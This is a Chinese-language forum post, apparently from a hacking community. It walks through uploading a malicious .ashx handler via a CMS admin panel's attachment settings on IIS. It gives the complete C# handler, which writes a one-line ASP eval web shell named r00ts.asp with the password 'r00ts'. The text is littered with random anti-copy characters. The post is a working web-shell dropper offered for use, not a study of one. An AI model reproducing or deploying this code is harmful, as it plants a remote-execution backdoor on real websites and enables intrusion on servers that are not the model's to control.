首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
+ [ H d' W9 {, x3 I# i( d ' G& P5 l [8 [
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx+ M: F6 T$ y0 A8 d# H# a# N
7 p% z# g! @2 j, @7 S K
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
) t* j7 v# d9 C- I7 | r+ u W, D; d
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx& M0 @/ g. M9 s* p5 ~0 j
4 U1 V }9 \4 B' _打开之后空白 会在目录底下生成r00ts.asp 密码r00ts: e# K6 I! y& W8 M
6 ^7 e& s. |6 b" m* q! t; Y) M
下面是代码:4 N# s. ?1 H) C% B# J6 P S
- ]# g0 n5 p0 ?% w
<%@ WebHandler Language="C#"Class="Handler" %>: }* p) U7 G7 C) b2 x
using System;
$ J$ A+ T7 X$ nusing System.Web;
+ x R7 o% {( ~; V0 Kusing System.IO;7 c& _+ H \7 x7 N( w# o
public class Handler : IHttpHandler {# P' c. q. Q1 u' u y, `! m
public void ProcessRequest (HttpContext context) {' K7 U2 Z& f. K- K4 O
context.Response.ContentType = "text/plain";3 ^) j ?* {5 \2 K' ^& L# C6 w
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
d8 e7 s; k, H- v1 L" X+ vfile1.Write("<%eval request(\"r00ts\")%>");
- [0 P9 O5 i+ C) R8 d# Ofile1.Flush();% \4 ^. e3 V' |% y9 u" K
file1.Close();
" d$ @1 \( u; M6 s5 H% h}
4 R5 _6 v* T% j% wpublic bool IsReusable {' k# `+ D8 \2 q+ L. |0 x
get {
1 s; G1 d! f6 T' J7 Wreturn false;
6 b8 T1 L4 `' C}
( J6 M# e& I/ [' C}4 x( G3 t# V/ i, O9 U P! m
}9 ]. K6 G! [ R6 y2 }
|